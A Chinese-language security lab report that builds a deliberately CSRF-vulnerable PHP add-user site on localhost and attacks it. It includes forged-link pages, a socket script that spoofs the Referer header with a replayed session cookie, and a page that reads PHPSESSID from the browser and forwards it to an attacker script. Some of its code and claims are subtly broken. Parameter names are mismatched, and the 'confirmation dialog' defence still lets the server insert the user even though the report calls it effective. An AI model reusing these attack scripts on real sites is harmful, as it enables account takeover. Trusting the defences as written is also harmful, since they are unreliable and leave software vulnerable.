CSRF攻击与防护
CSRF攻击与防护
1. 背景与原理
1.1 CSRF攻击定义
- CSRF(Cross Site Request Forgery,跨站请求伪造)是一种利用用户身份权限的攻击方式。
- 攻击者诱导已登录目标网站的用户访问含有恶意代码的页面,伪造用户的合法请求,执行未授权操作。
1.2 CSRF攻击的原理
- 浏览器的同源策略允许同源的网页共享Cookie,但攻击者可以利用此策略:
- 用户登录目标网站后,浏览器保存Cookie。
- 用户访问恶意页面时,页面中的恶意代码通过伪造请求,利用用户Cookie向目标网站发送恶意请求。
1.3 CSRF攻击的危害
- 在用户毫不知情的情况下:
- 窃取用户信息。
- 未经授权的资金转移。
- 操作敏感的账户功能。
2. 项目任务概述
实验通过创建两个网站(目标网站和攻击网站),模拟CSRF攻击并探讨防护措施。具体任务如下:
- 建立一个具有用户添加功能的目标网站(存在CSRF漏洞)。
- 创建一个模拟CSRF攻击的网站。
- 测试目标网站是否可以被CSRF攻击。
- 通过HTTP Referer验证和操作确认对话框两种方式防护CSRF攻击。
3. 实验过程
3.1 任务1:建立具有CSRF漏洞的目标网站
3.1.1 环境准备
- 在Apache根目录下(
C:\Apache24\htdocs
)创建名为csrf
的文件夹,作为目标网站目录。 - 复制基础网站代码文件至
csrf
目录,添加用户管理功能。
3.1.2 添加功能
添加用户页面:
创建
newuser.html
,内容为用户输入用户名和密码的表单。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<head>
<meta charset="UTF-8">
<title>NewUser</title>
<style>
#a{ width: 300px; text-align: right; }
.b{width: 150px;height:20px;}
</style>
</head>
<body>
<div id=a>
<p align="left">添加用户:</p>
<form name="form_register" method="get" action="do_adduser.php">
Username: <input type="text" class=b name="username" /><br>
Psssword: <input type="password" class=b name="passwd" /><br>
<input type="submit" name="Submit" value="Submit" />
<input type="reset" name="Reset" value="Reset" />
</form>
</div>
</body>
</html>
处理后台请求:
创建
do_adduser.php
,接收POST
请求并将用户信息写入数据库。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46<?php
include_once "functions.php";
start_session($expires);
if(!isset($_SESSION['username'])){
echo '您没有权限访问此页面';
exit;
}
include_once "con_database.php";
//获取输入的信息
$username = isset($_GET['username']) ? mysqli_escape_string($con,$_GET['username']) : '';
$passwd = isset($_GET['passwd']) ? mysqli_escape_string($con, $_GET['passwd']) : '';
if($username == '' || $passwd == '' )
{
echo "<script>alert('信息不完整!'); history.go(-1);</script>";
exit;
}
// echo "<script language='javascript'>";
// echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
// echo "if (!sure){location.href='newuser.html'; }";
// echo "</script>";
//执行数据库查询,判断用户是否已经存在
$sql="select * from users where username = '$username' ";
$query = mysqli_query($con,$sql)
or die('SQL语句执行失败, : '.mysqli_error($con));
$num = mysqli_fetch_array($query); //统计执行结果影响的行数
if($num) //如果已经存在该用户
{
echo "<script>alert('用户名已存在!'); history.go(-1);</script>";
exit;
}
$sql = "insert into users (username,passcode) values('$username','$passwd')";
mysqli_query($con, $sql)
or die('用户添加失败, : '.mysqli_error($con));
echo "用户添加成功!";
mysqli_close($con);
?>
修改导航链接:
在
welcome.php
添加链接,指向newuser.html
页面。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include_once "functions.php";
start_session($expires);
if(isset($_SESSION['username']))
{
echo '欢迎用户'.$_SESSION['username'].'登陆';
echo "<br>";
echo "<a href='showmessage.php'>查看消息</a>";
echo "<br>";
echo "<a href='newuser.html'>添加用户</a>";
echo "<br>";
echo "<a href='logout.php'>退出登录</a>";
}
else
{
echo '您没有权限访问此页面';
}
3.1.3 测试
使用Firefox浏览器访问目标网站:
登录
http://localhost/csrf/login.html
(用户名:admin,密码:admin123)。点击“添加用户”链接,输入
csrf
和csrf123
,提交后验证用户添加成功。
3.2 任务2:建立CSRF攻击网站
3.2.1 创建攻击网站
在Apache根目录下创建文件夹
docsrf
,用于模拟CSRF攻击网站。在
docsrf
目录下创建csrf.html
,内容为包含伪造表单提交的恶意代码。1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<meta charset="UTF-8">
<title>csrf</title>
</head>
<body>
<a href=http://localhost/csrf/do_adduser.php?username=admin1&passwd=admin1>Click Me</a>
</body>
</html>
3.2.2 恶意代码示例**
1 | <a href="http://localhost/csrf/do_adduser.php?username=hacker&password=hack123">Click Me</a> |
- 点击该链接时,伪造请求直接添加用户。
3.3 任务3:CSRF攻击测试
3.3.1 测试流程
未登录状态测试:
使用IE浏览器访问
http://localhost/docsrf/csrf.html
。点击“Click Me”,由于未登录目标网站,添加用户操作失败。
已登录状态测试:
使用保持登录状态的Firefox浏览器访问
http://localhost/docsrf/csrf.html
。点击“Click Me”,发现用户添加成功。
3.3.2 攻击原理分析
- 攻击成功的关键在于用户在目标网站的会话Cookie被恶意网站利用,从而伪造合法请求。
3.4 任务4:CSRF防护
3.4.1 方法一:HTTP Referer验证
实现步骤:
修改
functions.php
,增加check_referrer($referer)
函数:1
2
3
4
5
6
7function check_referer($referer)
{
if ($_SERVER['HTTP_REFERER'] != $referer)
{
exit('来源错误');
}
}do_adduser.php
,添加语句:1
check_referer('http://localhost/csrf/newuser.html');
验证请求是否来自合法页面。
测试结果:
重复攻击步骤,发现由于Referer不匹配,攻击请求被拒绝。
但可以用以下方法攻击,
csrf_referer_ez.php
,访问http://localhost/docsrf/csrf_referer_ez.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>csrf</title>
</head>
<body>
<?php
$server = 'localhost';
$host = 'localhost';
$target = '/csrf/do_adduser.php?username=socket&passwd=socket123';
$referer = 'http://localhost/csrf/newuser.html'; // Referer
$uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自行修改
$cookie ='PHPSESSID=9rfa50r1a7ff8os3pgo7ik5cna';//自行修改
$port = 80;
$fp = fsockopen($server, $port, $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr ($errno)\n";
}
else
{
$out = "GET $target HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: $referer\r\n";
$out .= "User-Agent: $uagent\r\n";
$out .= "Cookie: $cookie\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp);
}
?>
</body>
</html>csrf_auto.html
,访问http://localhost/docsrf/csrf_auto.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta charset="UTF-8">
<title>csrf</title>
<script src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
<script>
function getSessionId(){
var c_name = 'PHPSESSID';
if(document.cookie.length>0){
c_start=document.cookie.indexOf(c_name + "=")
if(c_start!=-1){
c_start=c_start + c_name.length+1
c_end=document.cookie.indexOf(";",c_start)
if(c_end==-1) c_end=document.cookie.length
return unescape(document.cookie.substring(c_start,c_end));
}
}
}
</script>
<script>
function load(){
window.location.href='http://localhost/csrf/newuser.html';
}
</script>
</head>
<body onload = load() >
<script>
$(document).ready(function(){
window.location.href="http://localhost/docsrf/csrf_referer.php?sid="+getSessionId();
});
</script>
</body>
</html>csrf_referer.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>csrf</title>
</head>
<body>
<?php
if(!isset($_GET['sid']))
{
exit;
}
$SID = $_GET['sid'];
$server = 'localhost';
$host = 'localhost';
$target = '/csrf/do_adduser.php?username=socket1&passwd=socket123';
$referer = 'http://localhost/csrf/newuser.html'; // Referer
$uagent ='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0'; //User-Agent自己改
$port = 80;
$fp = fsockopen($server, $port, $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr ($errno)\n";
}
else
{
$out = "GET $target HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: $referer\r\n";
$out .= "User-Agent: $uagent\r\n";
$out .= "Cookie: PHPSESSID=" .$SID ."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
echo fgets($fp, 128);
}
fclose($fp);
}
?>
</body>
</html>
3.4.2 方法二:设置操作确认对话框
实现步骤:
修改
do_adduser.php
(19行),添加操作确认逻辑:1
2
3
4echo "<script language='javascript'>";
echo "var sure=confirm( '确认添加用户".$username ."吗 '); ";
echo "if (!sure){location.href='newuser.html'; }";
echo "</script>";每次操作需要用户手动确认。
测试结果:
当用户访问攻击页面时,会弹出对话框提示操作,用户选择“否”后攻击被终止。
4. 实验结果与总结
实验结果:
- CSRF攻击需要用户在登录目标网站的情况下访问恶意页面。
- HTTP Referer验证和操作确认对话框有效阻止了CSRF攻击。
实验总结:
- Referer验证:通过检查请求来源,可以识别非法请求。
- 用户交互:强制用户确认敏感操作,有效减少误操作带来的风险。
安全建议:
- 避免点击不明链接。
- 针对敏感操作添加多因素验证机制(如验证码或Token)。
5. 拓展思考
POST方式的CSRF攻击:
攻击者可通过表单隐藏参数的方式伪造POST请求。
示例代码:
1
2
3
4
5<form method="post" action="http://localhost/csrf/do_adduser.php">
<input type="hidden" name="username" value="hacker">
<input type="hidden" name="password" value="hack123">
<input type="submit" value="Submit">
</form>
Cookie验证的局限性:
- 即使启用Cookie验证,浏览器仍会自动附加有效的Cookie,无法完全防止CSRF攻击。